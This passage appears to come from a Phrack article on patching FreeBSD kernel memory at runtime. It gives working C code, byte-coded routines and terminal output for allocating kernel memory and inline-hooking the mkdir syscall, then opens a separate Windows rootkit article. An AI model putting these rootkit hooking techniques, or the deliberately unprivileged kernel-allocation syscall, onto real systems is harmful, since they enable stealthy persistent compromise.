        *(unsigned long *)&code[9] = offset_1;
        *(unsigned long *)&code[14] = nl[1].n_value - offset_2;
```

From the comments it should be obvious what these four statements do. code[9] is the section in bytecode where the address of the string to be printed is stored. code[14] is the operand for the call statement; address of printf - address of the next statement.

The following is the output before and after running test_call:

```
        [----------------------------------------------------------]

ghost@slavetwo:~#ls
Makefile    hello.c     interface.c test_call.c
ghost@slavetwo:~#make
Warning: Object directory not changed from original /usr/home/ghost
@ -> /usr/src/sys
machine -> /usr/src/sys/i386/include

OUTPUT SNIPPED

J% objcopy % hello.kld
ld -Bshareable  -d -warn-common -o hello.ko hello.kld
objcopy --strip-debug hello.ko
ghost@slavetwo:~#sudo kldload ./hello.ko
Password:
syscall loaded at 210
ghost@slavetwo:~#gcc -o interface interface.c
ghost@slavetwo:~#./interface
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
FreeBSD Rox!
ghost@slavetwo:~#gcc -o test_call test_call.c -lkvm
ghost@slavetwo:~#sudo ./test_call
Luke, I am your father!
ghost@slavetwo:~#./interface
FreeBSD Rox!
ghost@slavetwo:~#

        [----------------------------------------------------------]
```

--[4.0 - Allocating Kernel Memory

Being able to just patch kernel memory has its limitations since you don’t have much room to play with. Being able to allocate kernel memory alleviates this problem. The following is a kld which does just that.

kmalloc.c:

```
/*
 * Module to allow a non-privileged user to allocate kernel memory
 *
 * kmalloc.c,v 2.0 2005/06/01
 * Date Modified 2005/06/14
 */


#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>


/*
 * Arguments for kmalloc
 */

struct kma_struct {
        unsigned long size;
        unsigned long *addr;
};

struct kmalloc_args { struct kma_struct *kma; };

/*
 * The function for implementing kmalloc.
 */

static int
kmalloc (struct thread *td, struct kmalloc_args *uap) {

        int error = 1;
        struct kma_struct kts;

        if(uap->kma) {
                MALLOC(kts.addr, unsigned long*, uap->kma->size
                        , M_TEMP, M_NOWAIT);
                error = copyout(&kts, uap->kma, sizeof(kts));
        }

        return (error);
}

/*
 * The ‘sysent’ for kmalloc
 */

static struct sysent kmalloc_sysent = {
        1,                      /* sy_narg */
        kmalloc                 /* sy_call */
};

/*
 * The offset in sysent where the syscall is allocated.
 */

static int offset = 210;

/*
```

```
 * The function called at load/unload.
 */

static int
load (struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD :
                uprintf ("syscall loaded at %d\n", offset);
                break;
        case MOD_UNLOAD :
                uprintf ("syscall unloaded from %d\n", offset);
                break;
        default :
                error = EOPNOTSUPP;
                break;
        }
        return error;
}

SYSCALL_MODULE(kmalloc, &offset, &kmalloc_sysent, load, NULL);
```

The following is the user-space program for the above kld:

interface.c:

```
/*
 * User Program To Interact With kmalloc module
 */

#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>

struct kma_struct {

        unsigned long size;
        unsigned long *addr;
};

int main(int argc, char **argv) {

        struct kma_struct kma;

        if(argc != 2) {
                printf("Usage:\n%s <size>\n", argv[0]);
                exit(0);
        }

        kma.size = (unsigned long)atoi(argv[1]);

        return syscall(210, &kma);
}
```

Using the techniques/functions described in the previous two sections and the following algorithm coined by Silvio Cesare one can allocate kernel memory without the use of a kld.

Silvio Cesare’s kmalloc from user-space algorithm:

1. Get the address of some syscall
2. Write a function which will allocate kernel memory
3. Save sizeof(our_function) bytes of some syscall
4. Overwrite some syscall with our_function
5. Call newly overwritten syscall
6. Restore syscall

```
test_kmalloc.c:

/*
 * Allocate kernel memory from user-space
 *
 * Algorithm to allocate kernel memory is as follows:
 *
 * 1. Get address of mkdir
 * 2. Overwrite mkdir with function that calls man 9 malloc()
 * 3. Call mkdir through int $0x80
 *    This will cause the kernel to run the new "mkdir" syscall, which will
 *    call man 9 malloc() and pass out the address of the newly allocated
 *    kernel memory
 * 4. Restore mkdir syscall
 *
 * test_kmalloc.c,v 2.0 2005/06/24
 */


#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/module.h>


/*
 * Offset of instruction following call statements
 * Starting at the beginning of the function kmalloc
 */

#define OFFSET_1        0x3a
#define OFFSET_2        0x56


/*
 * kmalloc function code
 */

unsigned char code[] =
        "\x55"                          /* push   %ebp                   */
        "\xba\x01\x00\x00\x00"          /* mov    $0x1,%edx              */
        "\x89\xe5"                      /* mov    %esp,%ebp              */
        "\x53"                          /* push   %ebx                   */
        "\x83\xec\x14"                  /* sub    $0x14,%esp             */
        "\x8b\x5d\x0c"                  /* mov    0xc(%ebp),%ebx         */
        "\x8b\x03"                      /* mov    (%ebx),%eax            */
        "\x85\xc0"                      /* test   %eax,%eax              */
        "\x75\x0b"                      /* jne    20 <kmalloc+0x20>      */
        "\x83\xc4\x14"                  /* add    $0x14,%esp             */
        "\x89\xd0"                      /* mov    %edx,%eax              */
        "\x5b"                          /* pop    %ebx                   */
        "\xc9"                          /* leave                         */
        "\xc3"                          /* ret                           */
        "\x8d\x76\x00"                  /* lea    0x0(%esi),%esi         */
        "\xc7\x44\x24\x08\x01\x00\x00"  /* movl   $0x1,0x8(%esp)         */
        "\x00"
        "\xc7\x44\x24\x04\x00\x00\x00"  /* movl   $0x0,0x4(%esp)         */
        "\x00"
        "\x8b\x00"                      /* mov    (%eax),%eax            */
        "\x89\x04\x24"                  /* mov    %eax,(%esp)            */
        "\xe8\xfc\xff\xff\xff"          /* call   36 <kmalloc+0x36>      */
        "\x89\x45\xf8"                  /* mov    %eax,0xfffffff8(%ebp) */
        "\xc7\x44\x24\x08\x08\x00\x00"  /* movl   $0x8,0x8(%esp)         */
        "\x00"
        "\x8b\x03"                      /* mov    (%ebx),%eax            */
        "\x89\x44\x24\x04"              /* mov    %eax,0x4(%esp)         */
```

```
        "\x8d\x45\xf4"                  /* lea    0xfffffff4(%ebp),%eax */
        "\x89\x04\x24"                  /* mov    %eax,(%esp)           */
        "\xe8\xfc\xff\xff\xff"          /* call   52 <kmalloc+0x52>     */
        "\x83\xc4\x14"                  /* add    $0x14,%esp            */
        "\x89\xc2"                      /* mov    %eax,%edx             */
        "\x5b"                          /* pop    %ebx                  */
        "\xc9"                          /* leave                        */
        "\x89\xd0"                      /* mov    %edx,%eax             */
        "\xc3";                         /* ret                          */


/*
 * struct used to store kernel address
 */

struct kma_struct {

        unsigned long size;
        unsigned long *addr;
};


int main(int argc, char **argv) {

        int i = 0;
        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        u_int32_t offset_1;
        u_int32_t offset_2;
        struct nlist nl[] =
                          {{ NULL },{ NULL },{ NULL },{ NULL },{ NULL },};
        unsigned char origcode[sizeof(code)];
        struct kma_struct kma;


        if(argc != 2) {
                printf("Usage:\n%s <size>\n", argv[0]);
                exit(0);
        }


        /* Initialize kernel virtual memory access */

        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if(kd == NULL) {
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
        }


        /* Find the address of mkdir, M_TEMP, malloc, and copyout */

        nl[0].n_name = "mkdir";
        nl[1].n_name = "M_TEMP";
        nl[2].n_name = "malloc";
        nl[3].n_name = "copyout";

        if(kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        for(i = 0; i < 4; i++) {
                if(!nl[i].n_value) {
                        fprintf(stderr, "ERROR: Symbol %s not found\n"
                                , nl[i].n_name);
                        exit(-1);
                }
        }
```

```
        /* Calculate the correct offsets */

        offset_1 = nl[0].n_value + OFFSET_1;
        offset_2 = nl[0].n_value + OFFSET_2;


        /* Set the code to contain the correct addresses */

        *(unsigned long *)&code[44] = nl[1].n_value;
        *(unsigned long *)&code[54] = nl[2].n_value - offset_1;
        *(unsigned long *)&code[82] = nl[3].n_value - offset_2;


        /* Save mkdir syscall */

        if(kvm_read(kd, nl[0].n_value, origcode, sizeof(code)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }


        /* Patch mkdir */

        if(kvm_write(kd, nl[0].n_value, code, sizeof(code)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }


        /* Allocate kernel memory */

        kma.size = (unsigned long)atoi(argv[1]);
        syscall(136, &kma);
        printf("Address of kernel memory: 0x%x\n", kma.addr);


        /* Restore mkdir */

        if(kvm_write(kd, nl[0].n_value, origcode, sizeof(code)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }


        /* Close kd */

        if(kvm_close(kd) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        exit(0);
}
```

Using ddb one can verify the results of the above program as follows:

```
        [----------------------------------------------------------]

ghost@slavetwo:~#ls
test_kmalloc.c
ghost@slavetwo:~#gcc -o test_kmalloc test_kmalloc.c -lkvm
ghost@slavetwo:~#sudo ./test_kmalloc
Usage:
./test_kmalloc <size>
ghost@slavetwo:~#sudo ./test_kmalloc 10
Address of kernel memory: 0xc2580870
ghost@slavetwo:~#KDB: enter: manual escape to debugger
[thread pid 12 tid 100004 ]
Stopped at      kdb_enter+0x32: leave
```

```
db> examine/x 0xc2580870
0xc2580870:     70707070
db>
0xc2580874:     70707070
db>
0xc2580878:     dead7070
db> c

ghost@slavetwo:~#

        [-----------------------------------------------------------]
```

--[5.0 - Putting It All Together

Knowing how to patch and allocate kernel memory gives one a lot of freedom. This last section will demonstrate how to apply a call hook using the techniques described in the previous sections. Typically call hooks on FreeBSD are done by changing the sysent and having it point to another function, we will not be doing this. Instead we will be using the following algorithm (with a few minor twists, shown later):

1. Copy syscall we want to hook
2. Allocate kernel memory (use technique described in previous section)
3. Place new routine in newly allocated address space
4. Overwrite first 7 bytes of syscall with an instruction to jump to new routine
5. Execute new routine, plus the first x bytes of syscall (this step will become clearer later)
6. Jump back to syscall + offset
   Where offset is equal to x

Stealing an idea from pragmatic of THC we will hook mkdir to print out a debug message. The following is the kld used in conjunction with objdump in order to extract the bytecode required for the call hook.

hacked_mkdir.c:

```
/*
 * mkdir call hook
 *
 * Prints a simple debugging message
 */


#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
#include <sys/sysproto.h>
#include <sys/syscall.h>


/* The hacked system call */

static int
hacked_mkdir (struct proc *p, struct mkdir_args *uap) {

        uprintf ("MKDIR SYSCALL : %s\n", uap->path);
        return 0;
}


/* The sysent for the hacked system call */
```

```
static struct sysent
hacked_mkdir_sysent = {
        1,              /* sy_narg */
        hacked_mkdir    /* sy_call */
};


/* The offset in sysent where the syscall is allocated */

static int offset = NO_SYSCALL;


/* The function called at load/unload */

static int
load (struct module *module, int cmd, void *arg) {
        int error = 0;

        switch (cmd) {
        case MOD_LOAD :
                uprintf ("syscall loaded at %d\n", offset);
                break;
        case MOD_UNLOAD :
                uprintf ("syscall unloaded from %d\n", offset);
                break;
        default :
                error = EINVAL;
                break;
        }
        return error;
}

SYSCALL_MODULE(hacked_mkdir, &offset, &hacked_mkdir_sysent, load, NULL);
```

The following is an example program which hooks mkdir to print out a simple debug message. As always an explanation of any new concepts appears after the source code listing.

test_hook.c:

```
/*
 * Intercept mkdir system call, printing out a debug message before
 * executing mkdir.
 *
 * Algorithm is as follows:
 * 1. Copy mkdir syscall upto but not including \xe8.
 * 2. Allocate kernel memory.
 * 3. Place new routine in newly allocated address space.
 * 4. Overwrite first 7 bytes of mkdir syscall with an instruction to jump
 *    to new routine.
 * 5. Execute new routine, plus the first x bytes of mkdir syscall.
 *    Where x is equal to the number of bytes copied from step 1.
 * 6. Jump back to mkdir syscall + offset.
 *    Where offset is equal to the location of \xe8.
 *
 * test_hook.c,v 3.0 2005/07/02
 */

#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/module.h>



/*
```

```
 * Offset of instruction following call statements
 * Starting at the beginning of the function kmalloc
 */

#define KM_OFFSET_1     0x3a
#define KM_OFFSET_2     0x56

/*
 * kmalloc function code
 */

unsigned char km_code[] =
        "\x55"                          /* push   %ebp                    */
        "\xba\x01\x00\x00\x00"          /* mov    $0x1,%edx               */
        "\x89\xe5"                      /* mov    %esp,%ebp               */
        "\x53"                          /* push   %ebx                    */
        "\x83\xec\x14"                  /* sub    $0x14,%esp              */
        "\x8b\x5d\x0c"                  /* mov    0xc(%ebp),%ebx          */
        "\x8b\x03"                      /* mov    (%ebx),%eax             */
        "\x85\xc0"                      /* test   %eax,%eax               */
        "\x75\x0b"                      /* jne    20 <kmalloc+0x20>       */
        "\x83\xc4\x14"                  /* add    $0x14,%esp              */
        "\x89\xd0"                      /* mov    %edx,%eax               */
        "\x5b"                          /* pop    %ebx                    */
        "\xc9"                          /* leave                          */
        "\xc3"                          /* ret                            */
        "\x8d\x76\x00"                  /* lea    0x0(%esi),%esi          */
        "\xc7\x44\x24\x08\x01\x00\x00"  /* movl   $0x1,0x8(%esp)          */
        "\x00"
        "\xc7\x44\x24\x04\x00\x00\x00"  /* movl   $0x0,0x4(%esp)          */
        "\x00"
        "\x8b\x00"                      /* mov    (%eax),%eax             */
        "\x89\x04\x24"                  /* mov    %eax,(%esp)             */
        "\xe8\xfc\xff\xff\xff"          /* call   36 <kmalloc+0x36>       */
        "\x89\x45\xf8"                  /* mov    %eax,0xfffffff8(%ebp) */
        "\xc7\x44\x24\x08\x08\x00\x00"  /* movl   $0x8,0x8(%esp)          */
        "\x00"
        "\x8b\x03"                      /* mov    (%ebx),%eax             */
        "\x89\x44\x24\x04"              /* mov    %eax,0x4(%esp)          */
        "\x8d\x45\xf4"                  /* lea    0xfffffff4(%ebp),%eax */
        "\x89\x04\x24"                  /* mov    %eax,(%esp)             */
        "\xe8\xfc\xff\xff\xff"          /* call   52 <kmalloc+0x52>       */
        "\x83\xc4\x14"                  /* add    $0x14,%esp              */
        "\x89\xc2"                      /* mov    %eax,%edx               */
        "\x5b"                          /* pop    %ebx                    */
        "\xc9"                          /* leave                          */
        "\x89\xd0"                      /* mov    %edx,%eax               */
        "\xc3";                         /* ret                            */



/*
 * Offset of instruction following call statements
 * Starting at the beginning of the function hacked_mkdir
 */

#define HA_OFFSET_1     0x2f

/*
 * hacked_mkdir function code
 */

unsigned char ha_code[] =
        "\x4d"                          /* M                              */
        "\x4b"                          /* K                              */
        "\x44"                          /* D                              */
        "\x49"                          /* I                              */
        "\x52"                          /* R                              */
        "\x20"                          /* sp                             */
        "\x53"                          /* S                              */
```

```
        "\x59"                          /* Y                                */
        "\x53"                          /* S                                */
        "\x43"                          /* C                                */
        "\x41"                          /* A                                */
        "\x4c"                          /* L                                */
        "\x4c"                          /* L                                */
        "\x20"                          /* sp                               */
        "\x3a"                          /* :                                */
        "\x20"                          /* sp                               */
        "\x25"                          /* %                                */
        "\x73"                          /* s                                */
        "\x0a"                          /* nl                               */
        "\x00"                          /* null                             */
        "\x55"                          /* push   %ebp                      */
        "\x89\xe5"                      /* mov    %esp,%ebp                 */
        "\x83\xec\x08"                  /* sub    $0x8,%esp                 */
        "\x8b\x45\x0c"                  /* mov    0xc(%ebp),%eax            */
        "\x8b\x00"                      /* mov    (%eax),%eax               */
        "\xc7\x04\x24\x0d\x00\x00\x00"  /* movl   $0xd,(%esp)               */
        "\x89\x44\x24\x04"              /* mov    %eax,0x4(%esp)            */
        "\xe8\xfc\xff\xff\xff"          /* call   17 <hacked_mkdir+0x17>*/
        "\x31\xc0"                      /* xor    %eax,%eax                 */
        "\x83\xc4\x08"                  /* add    $0x8,%esp                 */
        "\x5d";                         /* pop    %ebp                      */



/*
 * jump code
 */

unsigned char jp_code[] =
        "\xb8\x00\x00\x00\x00"          /* movl   $0,%eax                   */
        "\xff\xe0";                     /* jmp    *%eax                     */



/*
 * struct used to store kernel address
 */

struct kma_struct {

        unsigned long size;
        unsigned long *addr;
};



int main(int argc, char **argv) {

        int i = 0;
        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        u_int32_t km_offset_1;
        u_int32_t km_offset_2;
        u_int32_t ha_offset_1;
        struct nlist nl[] =
        { { NULL },{ NULL },{ NULL },{ NULL },{ NULL },{ NULL},{ NULL }, };
        unsigned long diff;
        int position;
        unsigned char orig_code[sizeof(km_code)];
        struct kma_struct kma;



        /* Initialize kernel virtual memory access */

        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if(kd == NULL) {
```

```
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
        }

        /* Find the address of mkdir, M_TEMP, malloc, copyout,
           uprintf, and kern_rmdir */

        nl[0].n_name = "mkdir";
        nl[1].n_name = "M_TEMP";
        nl[2].n_name = "malloc";
        nl[3].n_name = "copyout";
        nl[4].n_name = "uprintf";
        nl[5].n_name = "kern_rmdir";

        if(kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        for(i = 0; i <= 5; i++) {
                if(!nl[i].n_value) {
                        fprintf(stderr, "ERROR: Symbol %s not found\n"
                                , nl[i].n_name);
                        exit(-1);
                }
        }



        /* Determine size of mkdir syscall */

        diff = nl[5].n_value - nl[0].n_value;
        unsigned char mk_code[diff];

        /* Save a copy of mkdir syscall */

        if(kvm_read(kd, nl[0].n_value, mk_code, diff) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Determine position of 0xe8 */

        for(i = 0; i < (int)diff; i++) {
                if(mk_code[i] == 0xe8) {
                        position = i;
                }
        }



        /* Calculate the correct offsets for kmalloc */

        km_offset_1 = nl[0].n_value + KM_OFFSET_1;
        km_offset_2 = nl[0].n_value + KM_OFFSET_2;

        /* Set the km_code to contain the correct addresses */

        *(unsigned long *)&km_code[44] = nl[1].n_value;
        *(unsigned long *)&km_code[54] = nl[2].n_value - km_offset_1;
        *(unsigned long *)&km_code[82] = nl[3].n_value - km_offset_2;

        /* Save mkdir syscall */

        if(kvm_read(kd, nl[0].n_value, orig_code, sizeof(km_code)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Replace mkdir with kmalloc */
```

```
        if(kvm_write(kd, nl[0].n_value, km_code, sizeof(km_code)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Allocate kernel memory */

        kma.size = (unsigned long)sizeof(ha_code) + (unsigned long)position
                   + (unsigned long)sizeof(jp_code);
        syscall(136, &kma);

        /* Restore mkdir */

        if(kvm_write(kd, nl[0].n_value, orig_code, sizeof(km_code)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }



        /* Calculate the correct offsets for hacked_mkdir */

        ha_offset_1 = (unsigned long)kma.addr + HA_OFFSET_1;

        /* Set the ha_code to contain the correct addresses */

        *(unsigned long *)&ha_code[34] = (unsigned long)kma.addr;
        *(unsigned long *)&ha_code[43] = nl[4].n_value - ha_offset_1;

        /* Place hacked_mkdir routine into kernel memory */

        if(kvm_write(kd, (unsigned long)kma.addr, ha_code, sizeof(ha_code))
           < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Place mk_code into kernel memory */

        if(kvm_write(kd, (unsigned long)kma.addr +
          (unsigned long)sizeof(ha_code) - 1, mk_code, position) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Set the jp_code to contain the correct address */

        *(unsigned long *)&jp_code[1] = nl[0].n_value +
                                        (unsigned long)position;

        /* Place jump code into kernel memory */

        if(kvm_write(kd, (unsigned long)kma.addr +
                         (unsigned long)sizeof(ha_code) - 1 +
                         (unsigned long)position
                         , jp_code, sizeof(jp_code)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }



        /* Set the jp_code to contain the correct address */

        *(unsigned long *)&jp_code[1] = (unsigned long)kma.addr + 0x14;

        if(kvm_write(kd, nl[0].n_value, jp_code, sizeof(jp_code)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
```

```
        }

        printf("I love the PowerGlove. It's so bad!\n");



        /* Close kd */

        if(kvm_close(kd) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        exit(0);
}
```

The comments state that the algorithm for this program is as follows:

1. Copy mkdir syscall upto but not including \xe8.
2. Allocate kernel memory.
3. Place new routine in newly allocated address space.
4. Overwrite first 7 bytes of mkdir syscall with an instruction to jump to new routine.
5. Execute new routine, plus the first x bytes of mkdir syscall. Where x is equal to the number of bytes copied from step 1.
6. Jump back to mkdir syscall + offset. Where offset is equal to the location of \xe8.

The reason behind copying mkdir upto but not including \xe8 is because on different builds of FreeBSD the disassembly of the mkdir syscall is different. Therefore one cannot determine a static location to jump back to. However, on all builds of FreeBSD mkdir makes a call to kern_mkdir, thus we choose to jump back to that point. The following illustrates this.

```
        [----------------------------------------------------------]

ghost@slavezero:~#nm /boot/kernel/kernel | grep mkdir
c047c560 T devfs_vmkdir
c0620e40 t handle_written_mkdir
c0556ca0 T kern_mkdir
c0557030 T mkdir
c071d57c B mkdirlisthd
c048a3e0 t msdosfs_mkdir
c05e2ed0 t nfs4_mkdir
c05d8710 t nfs_mkdir
c05f9140 T nfsrv_mkdir
c06b4856 r nfsv3err_mkdir
c063a670 t ufs_mkdir
c0702f40 D vop_mkdir_desc
c0702f64 d vop_mkdir_vp_offsets
ghost@slavezero:~#nm /boot/kernel/kernel | grep kern_rmdir
c0557060 T kern_rmdir
ghost@slavezero:~#objdump -d --start-address=0xc0557030
--stop-address=0xc0557060 /boot/kernel/kernel | less

/boot/kernel/kernel:     file format elf32-i386-freebsd

Disassembly of section .text:

c0557030 <mkdir>:
c0557030:       55                      push   %ebp
c0557031:       31 c9                   xor    %ecx,%ecx
c0557033:       89 e5                   mov    %esp,%ebp
c0557035:       83 ec 10                sub    $0x10,%esp
c0557038:       8b 55 0c                mov    0xc(%ebp),%edx
c055703b:       8b 42 04                mov    0x4(%edx),%eax
c055703e:       89 4c 24 08             mov    %ecx,0x8(%esp)
c0557042:       89 44 24 0c             mov    %eax,0xc(%esp)
c0557046:       8b 02                   mov    (%edx),%eax
c0557048:       89 44 24 04             mov    %eax,0x4(%esp)
```

```
c055704c:       8b 45 08                mov    0x8(%ebp),%eax
c055704f:       89 04 24                mov    %eax,(%esp)
c0557052:       e8 49 fc ff ff          call   c0556ca0 <kern_mkdir>
c0557057:       c9                      leave
c0557058:       c3                      ret
c0557059:       8d b4 26 00 00 00 00    lea    0x0(%esi),%esi

ghost@slavezero:~#

        [---------------------------------------------------------]


        [---------------------------------------------------------]

ghost@slavetwo:~#nm /boot/kernel/kernel | grep mkdir
c046f680 T devfs_vmkdir
c0608fd0 t handle_written_mkdir
c05415d0 T kern_mkdir
c0541900 T mkdir
c074a9bc B mkdirlisthd
c047d270 t msdosfs_mkdir
c05c7160 t nfs4_mkdir
c05bcfd0 t nfs_mkdir
c05db750 T nfsrv_mkdir
c06a2676 r nfsv3err_mkdir
c06216a0 t ufs_mkdir
c06fef40 D vop_mkdir_desc
c06fef64 d vop_mkdir_vp_offsets
ghost@slavetwo:~#nm /boot/kernel/kernel | grep kern_rmdir
c0541930 T kern_rmdir
ghost@slavetwo:~#objdump -dR --start-address=0xc0541900
--stop-address=0xc0541930 /boot/kernel/kernel | less

/boot/kernel/kernel:     file format elf32-i386-freebsd

Disassembly of section .text:

c0541900 <mkdir>:
c0541900:       55                      push   %ebp
c0541901:       89 e5                   mov    %esp,%ebp
c0541903:       83 ec 10                sub    $0x10,%esp
c0541906:       8b 55 0c                mov    0xc(%ebp),%edx
c0541909:       8b 42 04                mov    0x4(%edx),%eax
c054190c:       c7 44 24 08 00 00 00    movl   $0x0,0x8(%esp)
c0541913:       00
c0541914:       89 44 24 0c             mov    %eax,0xc(%esp)
c0541918:       8b 02                   mov    (%edx),%eax
c054191a:       89 44 24 04             mov    %eax,0x4(%esp)
c054191e:       8b 45 08                mov    0x8(%ebp),%eax
c0541921:       89 04 24                mov    %eax,(%esp)
c0541924:       e8 a7 fc ff ff          call   c05415d0 <kern_mkdir>
c0541929:       c9                      leave
c054192a:       c3                      ret
c054192b:       90                      nop
c054192c:       8d 74 26 00             lea    0x0(%esi),%esi

ghost@slavetwo:~#

        [---------------------------------------------------------]
```

The above output was generated from two different FreeBSD 5.4 builds. As one can clearly see the dissassembly dump of mkdir is different for each one.

In test_hook the address of kern_rmdir is sought after, this is because in memory kern_rmdir comes right after mkdir, thus its address is the end boundary for mkdir.

The bytecode for the call hook is as follows:

```
unsigned char ha_code[] =
        "\x4d"                          /* M                            */
        "\x4b"                          /* K                            */
        "\x44"                          /* D                            */
        "\x49"                          /* I                            */
        "\x52"                          /* R                            */
        "\x20"                          /* sp                           */
        "\x53"                          /* S                            */
        "\x59"                          /* Y                            */
        "\x53"                          /* S                            */
        "\x43"                          /* C                            */
        "\x41"                          /* A                            */
        "\x4c"                          /* L                            */
        "\x4c"                          /* L                            */
        "\x20"                          /* sp                           */
        "\x3a"                          /* :                            */
        "\x20"                          /* sp                           */
        "\x25"                          /* %                            */
        "\x73"                          /* s                            */
        "\x0a"                          /* nl                           */
        "\x00"                          /* null                         */
        "\x55"                          /* push   %ebp                  */
        "\x89\xe5"                      /* mov    %esp,%ebp             */
        "\x83\xec\x08"                  /* sub    $0x8,%esp             */
        "\x8b\x45\x0c"                  /* mov    0xc(%ebp),%eax        */
        "\x8b\x00"                      /* mov    (%eax),%eax           */
        "\xc7\x04\x24\x0d\x00\x00\x00"  /* movl   $0xd,(%esp)           */
        "\x89\x44\x24\x04"              /* mov    %eax,0x4(%esp)        */
        "\xe8\xfc\xff\xff\xff"          /* call   17 <hacked_mkdir+0x17>*/
        "\x31\xc0"                      /* xor    %eax,%eax             */
        "\x83\xc4\x08"                  /* add    $0x8,%esp             */
        "\x5d";                         /* pop    %ebp                  */
```

The first 20 bytes is for the string to be printed, because of this when we jump to this function we have to start at an offset of 0x14, as illustrated from this line of code:

```
        *(unsigned long *)&jp_code[1] = (unsigned long)kma.addr + 0x14;
```

The last three statements in the hacked_mkdir bytecode zeros out the eax register, cleans up the stack, and restores the ebp register. This is done so that when mkdir actually executes its as if nothing has already occurred.

One thing to remember about character arrays in C is that they are all null terminated. For example if we declare the following variable,

```
        unsigned char example[] = "\x41";
```

sizeof(example) will return 2. This is the reason why in test_hook we subtract 1 from sizeof(ha_code), otherwise we would be writing to the wrong spot.

The following is the output before and after running test_hook:

```
        [----------------------------------------------------------]

ghost@slavetwo:~#ls
test_hook.c
ghost@slavetwo:~#gcc -o test_hook test_hook.c -lkvm
ghost@slavetwo:~#mkdir before
ghost@slavetwo:~#ls -F
before/      test_hook*   test_hook.c
ghost@slavetwo:~#sudo ./test_hook
Password:
I love the PowerGlove. It's so bad!
ghost@slavetwo:~#mkdir after
MKDIR SYSCALL : after
ghost@slavetwo:~#ls -F
after/       before/      test_hook*   test_hook.c
```

```
ghost@slavetwo:~#

        [-----------------------------------------------------------]
```

One could also use find_syscall and ddb to verify the results of test_hook

--[6.0 - Concluding Remarks

Being able to patch and allocate kernel memory gives one a lot of power over a system. All the examples in this article are trivial as it was my intention to show the how not the what. Other authors have better ideas than me anyways on what to do (see References).

I would like to take this space to apologize if any of my explanations are unclear, hopefully reading over the source code and looking at the output makes up for it.

Finally, I would like to thank Silvio Cesare, pragmatic, and Stephanie Wehner, for the inspiration/ideas.

--[7.0 - References

[Internet]

[1] Silvio Cesare, "Runtime Kernel Kmem Patching"
http://reactor-core.org/runtime-kernel-patching.html

[2] devik & sd, "Linux on-th-fly kernel patching without LKM"
http://www.phrack.org/show.php?p=58&a=7

[3] pragmatic, "Attacking FreeBSD with Kernel Modules"
http://www.thc.org/papers/bsdkern.html

[4] Andrew Reiter, "Dynamic Kernel Linker (KLD) Facility Programming Tutorial"
http://ezine.daemonnews.org/200010/blueprints.html

[5] Stephanie Wehner, "Fun and Games with FreeBSD Kernel Modules"
http://www.r4k.net/mod/fbsdfun.html

[Books]

[6] Muhammad Ali Mazidi & Janice Gillispie Mazidi, "The 80x86 IBM PC And Compatible Computers: Assembly Language, Design, And Interfacing"
(Prentice Hall)

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x14

```
|=-----------------------=[ Shadow Walker ]=--------------------------=|
|=--------=[ Raising The Bar For Windows Rootkit Detection ]=------------=|
|=-----------------------------------------------------------------------=|
|=---------=[ Sherri Sparks <ssparks at mail.cs.ucf dot edu > ]=---------=|
|=---------=[ Jamie Butler <james.butler at hbgary dot com >  ]=---------=|
```


--[0 - Introduction & Background

Rootkits have historically demonstrated a co-evolutionary adaptation and response to the development of defensive technologies designed to apprehend their subversive agenda. If we trace the evolution of rootkit technology, this pattern is evident. First generation rootkits were primitive. They simply replaced / modified key system files on the victim's system. The UNIX login program was a common target and involved an attacker replacing the original binary with a maliciously enhanced version that logged user passwords. Because these early rootkit modifications were limited to system files on disk, they motivated the development of file system integrity checkers such as Tripwire [1].

